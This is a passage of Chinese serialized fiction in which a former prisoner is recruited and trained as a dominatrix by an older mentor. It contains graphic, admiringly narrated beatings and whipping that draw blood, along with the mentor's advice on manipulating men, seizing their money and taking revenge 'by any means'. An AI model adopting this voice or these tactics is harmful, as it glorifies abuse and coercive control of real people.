“呵!走吧!”大姐带着柳玉往小区深处走去,大姐走在前,柳玉和那个男人跟在她身后。很快到了其中一栋公寓楼,几人乘电梯上了13楼,这才到了她们的目的地。
大姐掏出钥匙打开那栋公寓外面的铁门的时候,那男人倒是没有再等大姐的眼色,率先闪进了屋内,立刻在鞋柜旁的地面上跪了下来,低着头等着她们俩进屋。这阵势着实让柳玉下了一跳,倒退了两步怎么都不敢进去,最后只得在大姐半拉半就下才疑惑重重地进了屋去。
进屋后大姐关上房门走到跪在地上的那男人面前,轻轻抬起了右脚,男人立刻伸出双手将脚托住,左手托着鞋底,右手护住鞋后跟,右手大拇指往里一扣以手掌虎口扣住了高跟鞋跟,再往下轻轻一拉,大姐的高跟鞋就被脱了下来。男人立刻呈四肢撑地状伏在地上,使后背成水平状,让大姐把被脱去鞋子的右脚踩在自己的背上。此时男人再以极快的速度将脱下来的鞋子在鞋柜上摆好,又从鞋柜上取下了一只拖鞋以双手托住的姿势高过自己的头顶捧着,大姐将踩在男人背上的右脚抬起伸进了托在男人手中的拖鞋里再踩回了地上,紧接着以同样的方式让那男人帮自己换上了左脚的拖鞋。
男人帮大姐换好鞋子后微微将身子移动了一下,对着柳玉站立的方向静静地跪着,一言不发。柳玉哪有见过这种阵势,她从来没想过竟会有一个男人像奴才般跪在自己脚下,这种强烈的震撼使得她呆呆地站在那里半天说不出话来。倒是大姐的一句话把她拉回了现实:“怎么傻站在这?换好鞋子赶紧进屋啊!”说完给柳玉使了个颜色,示意她也像自己那般把鞋子换了。
这种强烈的不适应感使得柳玉久久不知该如何反应,最后还是在大姐的催促之下只得带着好奇而又惊异的心态学着大姐的样子把脚上的高跟鞋换成了拖鞋。
“滚进去,没叫你不要出来!”大姐朝那男人瞪了一眼。
“是,主人!”那男人朝大姐磕了几个头,爬着进了里屋的一个房间。
从客厅及房间结构布局来看整套公寓的面积并不大,一百多平米的样子,但是装修地却极其考究,实木地板,高档瓷砖,漂亮的吊灯,精美的沙发,还有各种柳玉也叫不出牌子的进口家具和电器。虽说不上顶级豪华,但看装修却也已经高过当时一般家庭的生活水平。纵然如此,这里的一切对于柳玉来说也已无异于进了宫殿一般。
“坐吧!”大姐招呼柳玉坐在沙发上,给她拿了一杯水。软软的沙发坐上去出奇的舒服,精致的沙发垫摸上去如丝绸般细柔顺滑。
“这是……你家?”柳玉转动脑袋,仔仔细细扫视了四周。
“是啊,不算太好,只能将就!”
“如果我能像你一样,死我都愿意了!”
“傻孩子,别动不动就死来死去的!”大姐瞪了柳玉一眼,“只要你肯,大姐相信你一定能住比这好百倍千倍的大房子。”
“我?怎么可能……”柳玉低着头回答,声音小得几乎只是在自言自语一般。
“来,过来!”大姐把赖在沙发上的柳玉拖了起来,拉着她进了餐厅。餐厅内早已准备好了一顿丰盛的午餐,那菜式花样之精致、香味之醇美是柳玉所没见过的,馋地她口水不住往口腔中涌,却碍于面子只得一次次再往肚子里咽。
“来,坐那。”大姐让柳玉在餐桌边坐下,自己也坐在了她旁边。
“先干一杯!”说着给柳玉和自己面前的高脚杯里各倒了半杯红酒。柳玉虽不知道礼仪,但也知道在大姐面前不能失态,就学着大姐的样子托着酒杯举在空中。
“今天的第一件事,就是为我最亲爱的妹妹谢柳玉接风洗尘,祝贺她结束刑期,回到自由的世界。来干杯!”说着举过杯子在柳玉的杯子上碰了一下,“砰!”一声清脆的玻璃撞击声后,大姐将杯里的红酒一饮而尽。于是柳玉也学着样子喝下了自己杯中的酒。
“来,吃菜。再不吃菜就凉了。”大姐举箸夹了一大筷子放在柳玉面前的小碗里。早已被馋虫勾得内心如火烧烤的柳玉见状再也忍不住了,举起了筷子就风卷残云般的猛吃了起来。早前因为受大姐那高贵的气质影响,担心自己的粗俗行为让大姐在别人面前丢面子故而什么都不敢做。如今只有两人相处,美食当前也就再也不用顾忌太多,那狼吞虎咽的样子让大姐看得也是一脸无奈,却只能笑着摇了摇头,任凭柳玉随心所欲地吃她喜欢的东西。
酒足饭饱之后,桌面已是一片狼藉。受酒精影响两人都有些醉意萌动,双颊嫣红。那似醉未醉的样子更给两个大美女增添了几分诱人的风韵。
“来,妹妹!”大姐给柳玉又斟了一小杯酒,两人抿了一口,“你觉得大姐这里好吗?”
“当然好了!”
“那这里的这些你想要吗?”
“这……”柳玉想了一下说道:“我想要,但是……”
“但是什么?”
“但这些都是大姐的。”
“如果姐姐把这些都给你呢?”
“我不要!”柳玉坚毅地回答。
“为什么?”
“我虽然穷,但我不需要别人可怜我,施舍我。我知道大姐是想帮助我,但我想要的东西我会自己去赚。”
“那你认为以你现在的能力赚得到这些吗?”
“我……”柳玉心里清楚这个问题的答案,只是不想回答下去。
“怎么?不想回答?那就姐姐帮你回答吧!”大姐好似已经一眼看穿了柳玉心中所想,笑着说道,“你不能,以你现在这个样子,你永远也买不起这样的房子,你只能住在那贫民窟的破房子里,是吗?”这番话正戳中柳玉的痛处。如果是别人说的这些话她早就冲上去打了起来,可此时眼前是她的大姐,她最尊敬的大姐。
“怎么?生气了?还是姐姐说错了?”
“不,大姐你说得对!”
“呵呵!大姐说的这些并不是想挖苦你。大姐只是想告诉你,对于你来说,这里的一切都算不得什么,只要你肯,你一定可以获得比这里多得多,好得多的东西。”
“大姐!”柳玉叹了一口气,“你不用安慰我了,这怎么可能呢?你是最了解我的,我是个孤儿,从小到大都一无所有。我不像你,我没念过书,没文化,什么都不会。除了当妓女我真不知道自己还能做些什么。靠自己的能力又能如何?我这样的人连肯娶我的男人都没有。这个社会就是这样,富的人越来越富,穷的人越来越穷。其实有你这样一个大姐肯认我做妹妹,肯看得起我,我已经很开心了。”
“傻孩子!过去的真的就那么重要吗?人永远回不到过去,但却可以走向未来,纵使你再怎么努力也无法改变起点。所以想那么多过去的不幸有什么用,关键是你得明白以后你想要什么?该走那条路?”
“这几天你一定在想,姐姐到底是什么人?当初又为什么会进监狱?”大姐端起杯饮了一口,半天才继续说,“跟你一样,姐姐也只是普通人。姐姐也是孤儿,也没念过太多的书,以前也曾穷过,一无所有,最惨的时候甚至连饭都吃不起。但是从一开始姐姐就知道自己不应该过那样的生活,我有能力获得属于我的东西。我知道我需要什么,知道自己的目标在那里,知道自己应该用什么方法去取得我想要的。当然,为了这个目的我也曾付出过沉重的代价。”
“终于有一天,姐姐成功了。当你获得了你想要的东西的时候你会发现过去所付出的那一切都是值得的。你现在看到的这些并不算什么,我曾拥有比这更多更好的东西,但是也曾全部失去过。你可能还不知道当初我为什么会坐牢吧?”
“恩!你一直没告诉我。”
“呵呵!其实很简单。姐姐生活的这个圈子有很多同行,她们视我为敌人,嫉妒我拥有的那一切,嫉妒我获得了她们梦寐以求的东西。所以她们联合起来针对我、陷害我,终于还是把我送进了监狱。我曾经辛辛苦苦努力争取到的那些东西一瞬间全都灰飞烟灭。”
“这个社会就是如此,等着别人可怜,你将永远一事无成。只有自己才是最可靠的,任何人都可以成为你征服这个世界的垫脚石。你看看,仅仅半年时间,属于我的东西又都回来了,没有人能将它们从我手中夺走。”
“今天姐姐带你来家里,另一个更重要的目的是想让你看一些东西,看过之后或许你会明白今后的路该往哪里走。”说完这番话,大姐伸出手掌重重拍了几下,“啪啪啪!”几声响亮的掌声响彻在屋子中。过了片刻,只听得餐厅门外传来“梭梭!梭梭!”的声音,好像有东西在地板上爬动摩擦一般。
带着疑惑柳玉站起身来往客厅走了出去。踏进客厅的那一刹那,有生以来所看到的最为震惊的场景让柳玉当场惊呆在了那里。
第17章
客厅内,五个刺身裸体的男人朝着餐厅门口的方向整齐地跪成了一排。他们手脚锁着锁链,脖子上套着皮项圈,脸朝地板静静地跪着,一动不动。
“怎么了?害怕了吗?”不知什么时候大姐已经站在柳玉身后,丹唇在她耳边若飘香软风轻轻呼气,“别怕,跟我来!”说完双手拥着柳玉的双肩把她推到了这几个男人面前。
“狗东西,还等什么呢?”突然大姐的声音变得尖利,带着一种近乎咆哮的口吻对跪在脚下的男人怒吼,柳玉只觉得耳边犹如响起了一道惊天霹雳,这是她第一次见到大姐这个样子。
“奴才拜见主人!主人万岁!万岁!万万岁!”男人立刻口中高呼,朝她俩不停地磕着响头。
男人磕了二十多个响头后,大姐才轻轻“恩!”了一声,男人立刻停了下来回到刚才那静静跪着的状态。
“你看,他们有多可爱,多温顺!他们是这个世界上最温顺的动物,不会伤害你,不需要害怕!”
“他们这是……”柳玉不知该说什么。
“他们是我的私人财产。你看看我这些……”大姐指着屋子里的所有东西,“这间房子,这些家具,这些电器,里里外外所有的一切,这些都不重要,来得快去得也快,完全不值得珍惜。”
“只有这些!”大姐指着脚下的男人,“他们才是我最宝贵的财富,有他们我才会有这一切。”
“你看他……”玉姐伸出脚勾住了其中一个男人的下巴,轻轻一提将那男人的脸抬了起来,柳玉认出正是今天帮她们开车的那个。大姐指着这个男人继续说:“他的身份可不一般,他经营着好几家公司,家产上千万。还有他……”大姐又指向旁边的一个,“他可是个大官,手下管着好几百号人;他,大教授,大作家,好多人抢着买他写的书;他,名牌大学生,未来前途不可限量;还有他,也是家财万贯,声明显赫。”
“不管他们有什么身份,现在的他们只有一个共同的很好听的名字——奴隶!当然你可以称他们狗,称他们奴才,称他们贱货、狗东西,这都没关系,只是一个名称而已。当他们跪在我脚下的那一刻便已经决定了他们终身的身份和命运,这是任何人都无法改变的。相对于他们,我就是女王,是至高无上的,是主宰着一切的神!很多人天生的命运就是跪在你的脚下被你征服,只是你没有发现,你所要做的就是学会发现,找到他,征服他,用你的手段让他臣服于你。不管这是不是一场游戏,这一刻你都要好好把握!”
“女王?”
“是的,女王!这就是我的职业!来,你试试!”大姐不知道什么时候手上拿着一个碟子递给了柳玉,柳玉接过来看到碟子上装着的是刚才她们吃饭吐出来的那些垃圾和剩菜,此刻被收集成满满一碟。
“施舍给他们,激发出你的高贵,表现出对他们的鄙视!”在大姐的指导下,柳玉试着将手中的碟子举起往空中一挥,碟子里的垃圾便顺势全都飞散了出去,撒落在了客厅地板的四处。这是五个奴隶好似受到了刺激一般突然身体猛地一抽,整个人朝着垃圾飞去的方向窜了过去,将身体整个趴在了地方伸长了舌头将落在地上的垃圾舔进嘴里,咀嚼了几下便立刻吞进肚里。接着爬起继续朝下一处垃圾掉落的方向爬去。很快,原本撒得一片狼藉的整个客厅地板被他们舔得干干净净,看不到一丝半点的垃圾。倒是原本干净的地面被他们的口水舔得油光发亮,在窗外射进的阳光的反射下闪闪发亮。
“你看他们有多乖,只有女王能让他们这么做!”
“他们……只吃这些吗?”
“当然不,这些只是对他们的恩赐,所有我能给予他们的都是对他们的恩赐,他们都必须用身体和金钱来交换,这就是女王!”
“但是……”柳玉此时心中装满了无数个问号,有太多问题像问,但却不知道从何问起。突然想到了些什么,但却欲言又止。
“但是什么?”
“他们对你这么忠诚,可是为什么你进了监狱他们却没帮你呢?”
“哈!你很聪明,姐姐果然没看错你!因为人性就是如此。他们此时可以像狗一样跪在我的脚下,表现地下贱、忠诚。但是当他们离开这个屋子,还是需要面对属于他们自己的荣耀和光环。一时的痛快永远无法替代权和力财富的诱惑,他们断可不能为了我这么一个名义上的主人断送前程。想通这些便没有什么难以释怀了。对于我来说这是生活,可对于他们来说却是游戏,你可以把游戏当做生活,却无法把生活当做游戏!”
“好妹妹,来帮助姐姐,加入我们,成为我们的一员,让我们一起去付征服,让越来越多的臣服于我们的脚下,把他们的财富变成我们的,让那些曾经陷害过我的人付出了更大的代价好吗?”
“可是,我……我不知道自己能不能做得到……”
“你可以的,姐姐相信你的能力。只有你身上才具备成为一名真正女王的完美素质,只要你愿意,姐姐相信你终会有一天能超越姐姐。”
“但是……姐姐……我不知道这样做是不是对的……”
“傻姑娘!什么是对的?什么又是错的?对错真的又那么重要吗?为什么有的人天生有拥有一切,他们就是对的吗?而有的人却只能一辈子受苦,他们又错在哪里?你记住,依靠自己的能力获得自己想要的东西这就是对的,为达目的就应该不择手段!”
“来,到这里来……”大姐拉着她的手带她到沙发边坐下,两人紧紧偎依在一起。“你喜欢他们中的哪一个?”
“什么?”柳玉不知道大姐要做什么。
“你说,觉得哪个好?”
“我……那个年轻的吧!”柳玉一脸不好意思地说,她指的是刚才大姐所说的五个奴隶其中的那个大学生。
“凯子……过来!”大姐喊了一声,那个年轻奴隶得到命令全身一抖立刻爬了过来,依旧静静地跪在她们的脚下。柳玉这才看清他的脸,他长得挺帅,皮肤白净斯斯文文,一脸秀气。“凯子是我刚收不久的奴,现在还是大学生,我挺喜欢他。”姐姐介绍道。
大姐伸手拿起茶几上果盘里的一个苹果,放到嘴里啃了几口,但还剩下大半个吃不下便随手扔到脚边的垃圾箱里。
“凯子……”
“奴才在!”凯子立刻给大姐磕了个头。
“刚才茶几上一共有几个苹果啊?”
“回主人的话,五……五个……”
“不对啊?现在怎么只剩四个了?是不是你吃的啊?”
“回主人,奴才不敢,奴才没吃……”
“没吃?没吃怎么会没了啊?你说到底去哪了?”
“回主人,刚才……是主人吃了的……”
“什么?我吃的?我吃的我怎么不记得了?你说,到底是不是你偷吃了?”
“奴……奴才不敢……奴才不敢……奴才真的没有偷吃”大姐这几句话吓得凯子一下子整个身子缩成了一团,躲在茶几的一角几乎在害怕些什么,朝着大姐猛磕着头,“奴才真的没有偷吃……求主人明鉴……”
“没有偷吃?那你就是说我冤枉你了?你个狗奴才,掌嘴……”
“是……是……谢谢主人赏赐……谢谢主人赏赐……”凯子立刻开心地磕头谢恩,继而抡起两只胳膊朝着自己脸上左右开工狠狠地抽了起来。整个大厅立刻回荡起“啪啪啪!”响亮的的耳光声。整整抽了二十多下,柳玉眼看着凯子两边原本白净的脸颊被自己抽的红肿了起来,深深的掌印留在脸上像是要渗出血来一般,连她自己看得都有些于心不忍。可是大姐依旧只是坐在沙发上给自己点了根烟,看得满脸得意,兴致盎然,丝毫没有想停的意思。就在凯子开始承受不住耳光声稍稍减弱的时候大姐一声怒喝,凯子又只能强忍着加大了力气。就这样抽了好几分钟,凯子的嘴角边、鼻孔里终于承受不住连续不断的耳光冒出血来,连含在嘴里的叫喊声也变得凄惨而悲切!
“大姐……他!”柳玉终于承受不住,轻轻推了大姐一下。
“好了,停下吧!”大姐哼了一声,凯子在满口谢恩声中放下了双手,立刻整个人几乎瘫在了地上,原本消瘦的脸顿时变得肿大了一倍,好像一只烤熟了的猪头。
“我问你,到底是不是你偷吃的?”
“奴……奴才……”凯子一时间不知道该怎么回答。
“回答我的话!”
“是……是奴才偷吃的……求……求主人恕罪……求主人恕罪……”
“哼!”大姐邈了他一眼,又拿起了一颗苹果啃了几口,“看着我!”
“是,主人!”凯子听到命令立刻抬头看着大姐,眼中充满了崇拜和恐惧。
“你说主人吃苹果的样子好不好看啊?”
“好……好看……”
“你说什么?我没听清,再说一遍!”
“是……回……回主人的话……”凯子说话的变得很不利索,吞吞吐吐地说道,“主……主人吃苹果的样子……真……真好看……”
“你说什么?”大姐听了他这话突然像变了张脸,原本慵懒的神情顿时蒙上了一脸怒气,连说话的声音也变得尖刻了起来,“你这狗东西,我什么时候吃苹果了?刚才还承认是你自己偷吃的,现在又想怪我冤枉你了是吗?”
“主……主人……我……”凯子一下子无措了起来,不知该怎么回答,只能用惊恐的眼神看着大姐全身发抖。
“你个狗东西,贱货!”大姐不由分说抬起右脚朝着凯子就踹了过去,脚上的拖鞋正好踏在凯子已经红肿不堪的面门上。强大的脚力踹地凯子往后倒去重重撞在了茶几上,“唰啦”一声连人带茶几整个瘫倒在地,茶几上的东西顿时全部撒在了地板了滚地到处都是。
“主……主人……”凯子本想爬起来回到大姐脚下道歉,可是大姐已经早先一步跨步走到他的面前居高临下抬腿又是一脚,这一脚直接踏在他的胸口把他踹地往后连着滚了几下一头撞在了墙上,立刻头上起了一个大大的包,爬起来护着胸口狠狠喘着粗气。显然大姐这一脚对他的伤害着实不清。
“你个狗东西……狗东西……敢冤枉我……冤枉我……”大姐冲了过去朝着凯子身上又是连接踹了好几脚,连她自己都觉得用力过度累得弯腰喘了还一会儿气。待缓过气来顺手操起柜子上的一把蛇形皮鞭举过了头顶对准凯子的身体用力抽了下去。
皮鞭过处,凯子身体白皙的皮肤上留下了一条黑紫色的鞭痕。很快,鞭痕颜色变红,中间涌起破开,形成了一条细细的沟壑,沟壑深处如泉涌般冒出丝丝血痕。“看你以后还敢不敢……还敢不敢……”大姐口中哼哼着,鞭子如暴雨般连接不断地落在凯子身上,疼得他满地打滚却又不敢远离大姐鞭子可及的范围之外,以免触怒了大姐而受到更为恐怖的惩罚。
犀利的鞭子声……凯子痛苦的哀号声……大姐近乎疯狂的笑声响彻了整个房间。眼前的已经不再是当初那个高贵、优雅、温柔、美丽的大姐,仿佛是一个来自地狱散发着恐怖气息的嗜血女魔。柳玉呆呆地站在一旁,一脸惊讶,什么都说不出来。她没想到自己刚才的一个随便选择竟然会让这个年轻的奴隶遭受到如此凄惨的虐待。但让她更加惊异的是此时自己内心并没有对凯子的遭遇有半点怜悯,相反却涌起了一股淡淡的喜悦和自豪。这种别人命运掌控在自己手中的痛快感是她以往从未体验过的。一种莫名产生的跃跃欲试的的冲动使他全身发热,想冲上前去夺下大姐的皮鞭亲自感受一番这种掌控他人生死的快感,但是却有始终心怀顾忌而一次次将欲望压制回了心底。
终于,当大姐停止对凯子疯狂鞭打的时候,这个可怜的奴隶已经滚在墙角边瑟瑟发抖,全身上下已如交织着一张纵横交错的由伤痕编织的大网。
“呸!”大姐朝地上吐了一口唾液,凯子依然挣扎着爬起来埋头将唾液舔进了嘴里。
“想试试吗?”大姐走到柳玉面前,恢复了她温柔的模样。
“我……”
“告诉我你想!”大姐死死盯着柳玉的双眼,“你的眼神已经出卖了你!”
“你告诉我,到底是我吃了这颗苹果,还是它偷吃的?”
“这……是……是……是他偷吃的……”
“我想你已经明白了,谁吃的并不重要。只有当你高高在上的时候,你所说的一切都是对的!”
“光想是没有用的,只有亲自体验你才会有所真正体会。来,你试试看!”大姐把手中的鞭子塞在了柳玉手中。举起鞭子,在内心一股强烈的犹如火烧的躁动的驱赶下,柳玉闭上了眼睛,咬紧牙关用力一甩,鞭子朝着凯子狠狠抽了下去……
一阵狂风暴雨过后……
柳玉躺在沙发上,脑袋靠在大姐柔软的大腿上,忘神地盯着天花板久久不语。刚才她体验到了有生以来最畅快淋漓的终极享受。
“痛快吗?”
“恩!大姐,我可以跟你一样吗?”
“当然,刚才你做的很好。只要你想,你还可以做得更好!大姐相信你!”
“但是……我什么都不懂……”
“没关系,大姐可以教你。我把凯子送给你,他刚被我驯服,好像一张白纸,我想他是最适合你的。”
“凯子!”
“是,主人!”大姐脚边几乎已经奄奄一息的凯子回答道。
“从今天起,我把你送给玉主子,你一定要好好听玉主子的话,像伺候我一样伺候玉主子,知道吗?”
“是,凯子听主人吩咐!玉主子万岁!万岁!万万岁!”凯子把头埋在了柳玉放在沙发下的拖鞋上……
从那天起,柳玉正式踏上女王之路。
大姐之前便是圈子里很有名的女王,其成立的的一个主要面向高端M的女王俱乐部在业内有着很高声望,但因大姐突然被捕而遭到破坏。大姐帮柳玉报了班,让她读书识字,不遗余力教柳玉学习成为一名女王:教她说话、教她礼仪,教她关于成为女王的一切。从那时起,柳玉知道了什么是女王,什么是奴隶?什么是SM,什么是调教?什么是肉体的折磨,什么是心理的控制?柳玉学得很认真,也很努力。聪明的她总能用最短的时间掌握大姐教给她的一切并善于思考、举一反三。不到半年,原本那个粗俗低贱的野丫头迅速成长为了一名高贵典雅、气质出众的美丽女人。
女王俱乐部很快东山再起,以姐妹俩为中心,吸纳了数名专业知名女王,主要面向那些有钱有地位的M。只要缴纳一笔昂贵的会员费就可以成为俱乐部的男奴享受虐恋的乐趣。这半年来柳玉也迅速在圈子内声名鹊起,其忠实“信徒”遍布全国各地,成长为受众多M敬仰的知名女王。
姐妹女王花在征服的道路上披荆斩棘、所向披靡。很快她们买了更大的房子、更好的车,让曾经陷害过大姐的那些人声败名裂,受到应有的惩罚。对于柳玉来说,这一切来得太快也太过突然,连她自己都感觉措手不及,但这却是柳玉一生中最开心、最快乐的时光。
但是,上天总是喜欢不断地跟这个可怜的女孩子开玩笑——一个突如其来的噩耗再一次把柳玉推到了命运的十字路口。
第18章
“大姐病重,速回!”收到这个消息的时候,柳玉正在海南享受海风、海滩和充满南国风情的温暖阳光。
两个月前,柳玉接受了来自全国各地的“信徒”的邀请,开始了为期三个月的全国巡游。这次巡游收获颇丰,柳玉游览了各地美丽的风景,体验了种种奇异的风土人情,更重要的是通过这次巡游结识大批优秀的女王和对自己仰慕已久的男奴。当然,金钱上的收获对她来说只是小小的一个方面。
两个月前,当她最后一次看到在机场为她送行的大姐的时候,大姐还是那么健康,怎么会突然……当天下午柳玉立即买了回程的机票。
“大姐!怎么会……”看到躺在医院病床上的大姐的时候,柳玉简直不敢相信自己的眼睛。三个月前还是那么美丽的大姐此时脸色惨白,瘦骨嶙峋,正无精打采地靠坐在床上呆呆地望着窗外黑暗的夜空,显得是那么的孤单、无助。
“呀!小玉回来啦!”听到柳玉的声音,看到她出现在病房门口,大姐原本呆滞的脸上立刻露出难得的笑容。“来,过来,坐这!”大姐伸手拍了拍自己床边,给她腾出了一个空间,她的动作显得那么软弱无力。
柳玉的心在滴血。
“大姐,怎么会这样,到底怎么了?”柳玉坐在大姐身边紧紧搂着她的肩膀,让大姐虚弱的身体靠在自己怀里。手摸在大姐消弱的身体上显得那么冰凉,几乎感受不到体温的存在。“这才几个月……”,柳玉声音哽咽,她不明白走的这段时间到底发生了什么,眼眶内渗出悲伤的泪水。
“怎么样,在外面过的还好吗?想大姐了没?这次游历有些什么收获,来给大姐说说……”
“大姐,你到底是得了什么病,怎么突然会变成这样的?”柳玉已顾不得那些,此时她心中惦记的只有大姐的病。
“呵!肺癌晚期!”大姐说的很随意,但这更触动了柳玉心中的悲痛。
“什么!肺癌?”她也知道肺癌是一种不得了的病,肺癌晚期已经无异于被判了死刑,当时便几乎快哭了出来。“怎么会这样?医生怎么说?要怎么治?要多少钱我们有,不管怎样我一定会治好你的病的……大姐,你……”
“你啊!大姐都没觉得怎么,你倒紧张了!”大家伸出干枯的手俯在柳玉头上,摸了摸她的头发安慰她:“生老病死,人之常情,没必要这么紧张啦!有烟吗?好久没抽了……”
“烟?不行,大姐你都这样了,绝对不行!”
“傻孩子,生死天注定,既然已经到了这一步又何必勉强自己。要活在当下,每一刻都能掌握在自己手里,过得开心才是最重要的。”
“但是……大姐,这时候养病要紧,真的不能再抽烟的,不我让你抽……”
“你啊!没事的,姐姐自有分寸,难道你还不相信姐姐啊!来,给姐姐一根,憋得有点受不了了,呵呵!”在大姐的百般坚持下柳玉最后只得满是不愿地从包里抽出一根烟递给了大姐,替大姐点燃——她实在不知道该如何拒绝大姐的要求,虽然这个只会更伤害大姐。
“呼!”大姐重重吸了一口烟,含在嘴里久久不肯吐出。过了许久这才将唇口微张,随着微弱的气流细若游丝般的烟气才一点一点地流出口中。“啊!味道真好!”大姐感慨着说,“烟就是这样一个好东西,明知它可能害死自己,可还是义无反顾地去享受它的味道。就像SM一样,永远无法抗拒它的魅力。”
“来,再给姐姐一根!”大姐很快就抽完了一根,“你也赔大姐一起抽好么,大姐喜欢跟你一起分享快乐的感觉!”
“大姐,我……”柳玉含着泪再分了一根烟给大姐,自己也点燃了一根,两个人相拥着静静地抽着,默默无语。
“大姐,你别担心,你的病一定会好起来的,花多大的代价我都愿意。”
“傻姑娘!姐姐的病我自己还不知道吗?老天要带走我谁也改变不了,或许是因为我在世上的使命已经完成,所以你并不要觉得难过。姐姐的时间不多了,但姐姐并不伤心,因为姐姐过得很充实,过得很开心,姐姐享受到了全世界绝大多数女人无法想象到的尊贵。能得到你这个好妹妹是姐姐这辈子最开心的事。”
“姐姐你别这么说,如可以的话我真的愿意拿自己换你的命。我从小就没人要,若不是姐姐你看得起我,疼我,教我那么多东西,我怎么可能会有今天。没有你就没有现在的我,如果你不在……我不知道我……”柳玉如刺在喉,哽咽地说不出话来,只能用眼泪来表达自己内心的感受。大姐倒是表现出一种大度与豁达,好像生病的并不是自己而是柳玉,相反却感觉是她在安慰柳玉一般。“你啊!大姐早就跟你说过,不要总纠结于过去,眼睛只能看着前方。你今天所有的一切并不是大姐给你的,是你靠着自己的能力一点一点争取来的,大姐只是带你跨进这么门,今后还需要靠你自己。大姐很高兴,你做得很好,你今天的成就让大姐相信自己当初并没有看错你。”
“姐姐跟你一样,也是孤儿,所以姐姐看到你就很喜欢你,就好像看到了过去的自己。小时候养父母对我不好,我不受不了就逃了出去,很小就开始自己生活。那时候穷,买不起漂亮衣服,看到别人家孩子穿着好看的衣服我就羡慕,于是我用墨水弄脏了她们的衣服。她们打我,骂我,欺负我,用剪刀把我的衣服剪烂。但是我没有哭,从小到大姐姐都没有哭过,因为姐姐知道哭并不能解决问题。那时姐姐发誓总有一天要让无数的人抢着花钱为我买好看的衣服,要让曾经欺负过我的人跪在我的脚下哭着向我道歉。终于有一天,姐姐做到了,不管这个过程有多艰辛,采取了多么残酷的手段,但姐姐终归还是成功了。”
“其实姐姐并不在乎钱。那房子,那车,那些衣服和首饰。钱财都是身外之物,这些东西来得快去得也快,没什么值得珍惜。最关键的是享受那种被人崇拜,被人敬仰的感觉。拥有过这些,我的人生也就没有什么遗憾了。你才刚刚开始,不必着急。走上这条路便不会再有回头路,总有一天你会感受到姐姐今天对你说的这一切的。如今姐姐走不动了,要休息了。但是有你,你将是姐姐在这个世界的延续。你要继续把这条路走下去,走出你自己的天地来。”
“但是,大姐……这一切都是你教给我的。如果没有你……我不知道自己还能不能……”
“你能!你一定能!”大姐语气坚定地说,“大姐相信你一定能够做得更好。你很聪明、很优秀,你身上有着许多大姐不具备的素质,这些是大姐再怎么努力都无法得到的。大姐之所以认你这个妹妹,教会你这些,正是看中了你这点,你一定会做出远远超越大姐的成就。”
“其实,当初姐姐选择了你也还是存有一些私心的。”大姐看着柳玉的眼睛笑了笑说,“大姐是希望你能帮我东山再起,帮我对付那些我讨厌的人。呵呵!我这么说你不会怪我吧!”
“当然不会,我不怪你,我怎么会怪你呢大姐!我……”
“呵呵,这大姐就放心了!当然现在姐姐已经完全把你当成是我的好妹妹了。其实,征服男人并不是很难的事情。你要让他们知道你能给予他们所想要的,却永远不要想着给予他们什么。男人是一种很贱的动物,当你满足他们越多,他们就会越肆无忌惮,这是他们作为这世界上最下贱的动物的天性。你记住,当他们想要十,你所能给予他们的必须是零。等他们对你的渴望到了极点,即将要失去耐性的时候,适当地施舍给他们一,这样他们就会对你感激涕零,将你视若神明。”
“恩!我记住了!”
“还记得姐姐曾经对你说过的话吗?“你可以把游戏当做生活,却无法把生活当做游戏!”其实姐姐跟你说实话,这并非姐姐不想,而是姐姐做不到。把游戏中的控制变成对生活的控制,让他们对我的忠诚与崇拜变成他们生活的一部分,让他们彻底成为我的奴隶是我一生中最大的梦想,但姐姐始终没有那个能力做到这些。但这并不代表你不能,姐姐相信你有这个能力做到,这也是姐姐为什么最终挑选了你作为我的接班人的原因。姐姐希望你能帮我实现这个梦想,成为一名真正的女王,好吗?”
“恩,姐姐!我答应你,这些我一定会替你实现的,我……”柳玉终于忍不住痛哭了起来,一头扎进了大姐怀中,眼泪如泉水喷涌而出在她白皙的脸庞流淌,打湿了大姐胸前那雪白的衣服,这引得大姐顿时也觉得鼻子一酸,一种悲切感似要隐隐涌出,却只能咬咬牙忍住不让自己哭出来。
或许这是一种母爱!
“对了小玉,差点忘了,姐姐还有东西要给你。”
“什么东西啊大姐?”
“给你这个!”大姐从枕头下取出一本东西放在了柳玉手上。柳玉翻了翻是一本厚厚的笔记本,里边密密麻麻的写满字了,还有一些简单的草图之类。
“这是什么?”
“这是我自出道以来至今这多年做女王的一些心得,我都把它记录了下来。里边有我对男奴隶心理的一些理解和我自创的一些训奴方式,可以说是我这一辈子的总结吧!这些东西我已经没时间亲自教你,现在我把它送给你,希望能对你今后有所帮助。”
“哎~人生真是短暂,这么快我就要离它而去,总还是有些留恋!其实大姐还有一个未了的心愿……”
“大姐……”柳玉抹了抹眼泪带着哭腔问道:“你说,你还有什么心愿,小玉一定帮你完成,无论多难,小玉都会帮你的……”
“呵呵!傻孩子!姐姐常在想,如果有一天姐姐能像真正的女王一样,坐在宝座上,接受万民的朝拜、敬仰,那该有多好啊!”大姐说着脸上露出向往的神情。
“大姐你放心,你要好好养病,什么都不要想,一定会有这么一天的……”柳玉抱着大姐,关怀地摸着她的头,眼神坚毅而自信。
那一刹那柳玉长大了。
一个月后。
原本因放假而变得门庭冷落的市聚英中学这天显得有些异常。五十岁的王校长一大早就独自站在门口好像等着什么人到来。过了十点便陆陆续续有人从四面八方赶来都朝着学校而去,到了学校门口对着校长说了些什么然后就有一个男人领着他们进了学校。
下午两点,校长下令关闭学校大门,匆匆往校内跑去。穿过操场和几栋教学楼,往里走了两百米左右有一栋圆形穹顶建筑,这里就是学校礼堂,平时作为学校各种典礼和群体性学生活动的场所,可以同时容纳五百多人。因为某些原因,校长让今天在学校值班和执勤的学校教职工和保安全部放假回家,所以今天的学校比平时相比显得更为冷清,整个校园看不到一个人影。
而此时礼堂内外的情形却大相近庭。除了礼堂门口守着两个男人,里边却早已人头攒同,一片喧闹之声响彻整个礼堂空间。那空旷的礼堂空地上密密麻麻站着许多男人,足有一两百人之多,此刻正百无聊赖地三三两两聚在一起聊天或做着各自的事情。他们都是接受柳玉的召唤而聚集在这里。不久前,柳玉向全国各地自己的和大姐的奴隶以及希望成为她们奴隶的仰慕者发去了信息,召唤他们今天聚集在这里完成一件大事。
学校王校长原本也是柳玉的忠实崇拜者,曾多次请求成为柳玉的奴隶。但因为此人没什么本事,年龄太大也没什么特长,同时也因支付不起巨额费用故没能得到柳玉青睐,为奴愿望始终无法实现。此次因场地问题,柳玉只能以收他作为奴为条件征用了他的学校。
